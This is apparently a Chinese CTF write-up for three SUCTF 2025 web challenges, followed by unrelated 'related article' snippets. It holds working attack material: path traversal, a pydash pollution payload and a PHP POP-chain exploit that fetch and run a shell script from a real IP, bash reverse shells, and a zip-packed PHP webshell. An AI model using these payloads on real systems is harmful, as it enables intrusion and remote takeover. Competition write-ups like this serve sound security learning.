【Web】2025-SUCTF个人wp
目录
SU_blog
SU_photogallery
SU_POP
SU_blog
先是注册功能覆盖admin账号

以admin身份登录,拿到读文件的权限
./article?file=articles/..././..././..././..././..././..././etc/passwd

./article?file=articles/..././..././..././..././..././..././proc/1/cmdline

./article?file=articles/..././app.py
读到源码
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwafapp = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {1: "articles/article1.txt",2: "articles/article2.txt",3: "articles/article3.txt"
}
friend_links = [{"name": "bkf1sh", "url": "https://ctf.org.cn/"},{"name": "fushuling", "url": "https://fushuling.com/"},{"name": "yulate", "url": "https://www.yulate.com/"},{"name": "zimablue", "url": "https://www.zimablue.life/"},{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]class User():def __init__(self):passuser_data = User()@app.route('/')
def index():if 'username' in session:return render_template('blog.html', articles=articles, friend_links=friend_links)return redirect(url_for('login'))@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username in users and users[username] == password:session['username'] = usernamereturn redirect(url_for('index'))else:return "Invalid credentials", 403return render_template('login.html')@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']password = request.form['password']users[username] = passwordreturn redirect(url_for('login'))return render_template('register.html')@app.route('/change_password', methods=['GET', 'POST'])
def change_password():if 'username' not in session:return redirect(url_for('login'))if request.method == 'POST':old_password = request.form['old_password']new_password = request.form['new_password']confirm_password = request.form['confirm_password']if users[session['username']] != old_password:flash("Old password is incorrect", "error")elif new_password != confirm_password:flash("New passwords do not match", "error")else:users[session['username']] = new_passwordflash("Password changed successfully", "success")return redirect(url_for('index'))return render_template('change_password.html')@app.route('/friendlinks')
def friendlinks():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))return render_template('friendlinks.html', links=friend_links)@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))name = request.form.get('name')url = request.form.get('url')if name and url:friend_links.append({"name": name, "url": url})return redirect(url_for('friendlinks'))@app.route('/delete_friendlink/')
def delete_friendlink(index):if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))if 0 <= index < len(friend_links):del friend_links[index]return redirect(url_for('friendlinks'))@app.route('/article')
def article():if 'username' not in session:return redirect(url_for('login'))file_name = request.args.get('file', '')if not file_name:return render_template('article.html', file_name='', content="未提供文件名。")blacklist = ["waf.py"]if any(blacklisted_file in file_name for blacklisted_file in blacklist):return render_template('article.html', file_name=file_name, content="大黑阔不许看")if not file_name.startswith('articles/'):return render_template('article.html', file_name=file_name, content="无效的文件路径。")if file_name not in articles.values():if session.get('username') != 'admin':return render_template('article.html', file_name=file_name, content="无权访问该文件。")file_path = os.path.join(BASE_DIR, file_name)file_path = file_path.replace('../', '')try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()except FileNotFoundError:content = "文件未找到。"except Exception as e:app.logger.error(f"Error reading file {file_path}: {e}")content = "读取文件时发生错误。"return render_template('article.html', file_name=file_name, content=content)@app.route('/Admin', methods=['GET', 'POST'])
def admin():if request.args.get('pass') != "SUers":return "nonono"if request.method == 'POST':try:body = request.jsonif not body:flash("No JSON data received", "error")return jsonify({"message": "No JSON data received"}), 400key = body.get('key')value = body.get('value')if key is None or value is None:flash("Missing required keys: 'key' or 'value'", "error")return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400# Additional logic to handle key-value pairs can be added here.except Exception as e:flash(f"Error: {str(e)}", "error")return jsonify({"message": f"Error: {str(e)}"}), 500return render_template('admin.html')
/Admin路由一眼打pydash原型链污染
污染什么呢,可以污染render_template
参考CTFtime.org / idekCTF 2022* / task manager / Writeup
打入
{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}

放个恶意shell文件到vps上
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
随便访问渲染模板的页面,成功反弹shell

SU_photogallery



结合“测试”的提示&404特征辨别题目服务是php -S启动的
存在一个任意文件读取漏洞
PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog
去读一下unzip.php

bp把自动更新长度关掉


<?php
/** @Author: Nbc* @Date: 2025-01-13 16:13:46* @LastEditors: Nbc* @LastEditTime: 2025-01-13 16:31:53* @FilePath: \src\unzip.php* @Description: * * Copyright (c) 2025 by Nbc, All Rights Reserved. */
error_reporting(0);function get_extension($filename){return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){$filePath = $path . DIRECTORY_SEPARATOR . $filename;if (is_file($filePath)) {$extension = strtolower(get_extension($filename));if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {if (!unlink($filePath)) {// echo "Fail to delete file: $filename\n";return false;}else{// echo "This file format is not supported:$extension\n";return false;}}else{return true;}
}
else{// echo "nofile";return false;
}
}
function file_rename ($path,$file){$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);$oldPath = $path . DIRECTORY_SEPARATOR . $file;$newPath = $path . DIRECTORY_SEPARATOR . $randomName;if (!rename($oldPath, $newPath)) {unlink($path . DIRECTORY_SEPARATOR . $file);// echo "Fail to rename file: $file\n";return false;}else{return true;}
}function move_file($path,$basePath){foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);if (!rename($file, $destination)){// echo "Fail to rename file: $file\n";return false;}}return true;
}function check_base($fileContent){$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];$base64_keywords = [];foreach ($keywords as $keyword) {$base64_keywords[] = base64_encode($keyword);}foreach ($base64_keywords as $base64_keyword) {if (strpos($fileContent, $base64_keyword)!== false) {return true;}else{return false;}}
}function check_content($zip){for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {return false; }// echo "Checking file: $fileName\n";$fileContent = $zip->getFromName($fileName);if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {// echo "Don't hack me!\n"; return false;}else {continue;}}return true;
}function unzip($zipname, $basePath) {$zip = new ZipArchive;if (!file_exists($zipname)) {// echo "Zip file does not exist";return "zip_not_found";}if (!$zip->open($zipname)) {// echo "Fail to open zip file";return "zip_open_failed";}if (!check_content($zip)) {return "malicious_content_detected";}$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;if (!mkdir($path, 0777, true)) {// echo "Fail to create directory";$zip->close();return "mkdir_failed";}if (!$zip->extractTo($path)) {// echo "Fail to extract zip file";$zip->close();}else{for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (!check_extension($fileName, $path)) {// echo "Unsupported file extension";continue;}if (!file_rename($path, $fileName)) {// echo "File rename failed";continue;}}}if (!move_file($path, $basePath)) {$zip->close();// echo "Fail to move file";return "move_failed";}rmdir($path);$zip->close();return true;
}$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {mkdir($uploadDir, 0777, true);
}if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {$uploadedFile = $_FILES['file'];$zipname = $uploadedFile['tmp_name'];$path = $uploadDir;$result = unzip($zipname, $path);if ($result === true) {header("Location: index.html?status=success");exit();} else {header("Location: index.html?status=$result");exit();}
} else {header("Location: index.html?status=file_error");exit();
}
注意到这段代码

因为是先解压再检验文件后缀,所以可以用解压失败来绕过
zip在CTF-web方向中的一些用法 - 个人学习分享
用这段脚本生成恶意zip文件
import zipfile
import io# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:# 向 ZIP 文件中写入恶意 PHP 文件zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'zf.writestr('A' * 5000, b'AAAAA')# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:f.write(mf.getvalue())
上传成功

访问RCE
SU_POP
看到反序列化入口

先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString

再找sink,全局搜eval(
找到一个比较干净的触发eval的类

再全局搜__toString

stream可控,可以触发__call
全局搜__call

从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink

链子
RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate
exp:
<?php
namespace PHPUnit\Framework\MockObject\Generator;class MockClass
{public $classCode;public $mockName;public function __construct() {$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";$this->mockName = "Z3r4y";}
}namespace Cake\ORM;use PHPUnit\Framework\MockObject\Generator\MockClass;class BehaviorRegistry
{public $_methodMap;public $_loaded;public function __construct() {$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];$this->_loaded = ["Z3r4y" => new MockClass()];}
}class Table
{public $_behaviors;public function __construct() {$this->_behaviors = new BehaviorRegistry();}
}namespace Cake\Http;use Cake\ORM\Table;class Response
{public $stream;public function __construct() {$this->stream = new Table();}
}namespace React\Promise\Internal;use Cake\Http\Response;final class RejectedPromise
{public $reason;public function __construct() {$this->reason = new Response();}
}$a=new RejectedPromise();
echo base64_encode(serialize($a));
往vps上放一个恶意shell脚本
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
打入:

成功弹上shell


find提权拿flag

相关文章:
【Web】2025-SUCTF个人wp
目录 SU_blog SU_photogallery SU_POP SU_blog 先是注册功能覆盖admin账号 以admin身份登录,拿到读文件的权限 ./article?filearticles/..././..././..././..././..././..././etc/passwd ./article?filearticles/..././..././..././..././..././..././proc/1…...
React进阶之react.js、jsx模板语法及babel编译
React React介绍React官网初识React学习MVCMVVM JSX外部的元素props和内部的状态statepropsstate 生命周期constructorgetDerivedStateFromPropsrendercomponentDidMount()shouldComponentUpdategetSnapshotBeforeUpdate(prevProps, prevState) 创建项目CRA:create-…...
在Linux上如何让ollama在GPU上运行模型
之前一直在 Mac 上使用 ollama 所以没注意,最近在 Ubuntu 上运行发现一直在 CPU 上跑。我一开始以为是超显存了,因为 Mac 上如果超内存的话,那么就只用 CPU,但是我发现 Llama3.2 3B 只占用 3GB,这远没有超。看了一下命…...
R 语言科研绘图第 20 期 --- 箱线图-配对
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
suctf2025
Suctf2025 --2标识为看的wp,没环境复现了 所有参考资料将在文本末尾标明 WEB SU_photogallery 思路👇 构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而…...
Quinlan C4.5剪枝U(0,6)U(1,16)等置信上限如何计算?
之前看到Quinlan中关于C4.5决策树算法剪枝环节中,关于错误率e置信区间估计,为啥 当E=0时,U(0,1)=0.75,U(0,6)=0.206,U(0,9)=0.143? 而当E不为0时,比如U(1,16)=0.157,如图: 关于C4.5决策树,Quinlan写了一本书,如下: J. Ross Quinlan (Auth.) - C4.5. Programs f…...
计算机组成原理--笔记二
目录 一.计算机系统的工作原理 二.计算机的性能指标 1.存储器的性能指标 2.CPU的性能指标 3.系统整体的性能指标(静态) 4.系统整体的性能指标(动态) 三.进制计算 1.任意进制 > 十进制 2.二进制 <> 八、十六进制…...
麒麟系统中删除权限不够的文件方法
在麒麟系统中删除权限不够的文件,可以尝试以下几种方法: 通过修改文件权限删除 打开终端:点击左下角的“终端”图标,或者通过搜索功能找到并打开终端 。定位文件:使用cd命令切换到文件所在的目录 。修改文件权限&…...
自定义提示确认弹窗-vue
最初可运行代码 弹窗组件代码: (后来发现以下代码可运行,但打包 typescript 类型检查出错,可打包的代码在文末) <template><div v-if"isVisible" class"dialog"><div class&quo…...
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服 根据上一步的步骤,已经调试了ONE API的接口,下面,我们就登陆fastGPT吧 http://xxx.xxx.xxx.xxx:3000/ 这个就是你的fastGPT后台地址,可以在configer文件中找到。 账号是…...
CSS 合法颜色值
CSS 颜色 CSS 中的颜色可以通过以下方法指定: 十六进制颜色带透明度的十六进制颜色RGB 颜色RGBA 颜色HSL 颜色HSLA 颜色预定义/跨浏览器的颜色名称使用 currentcolor 关键字 十六进制颜色 用 #RRGGBB 规定十六进制颜色,其中 RR(红色&…...
Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...
AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...
Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...
2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...
Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...
脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)
一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...
MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...
MySQL的pymysql操作
本章是MySQL的最后一章,MySQL到此完结,下一站Hadoop!!! 这章很简单,完整代码在最后,详细讲解之前python课程里面也有,感兴趣的可以往前找一下 一、查询操作 我们需要打开pycharm …...
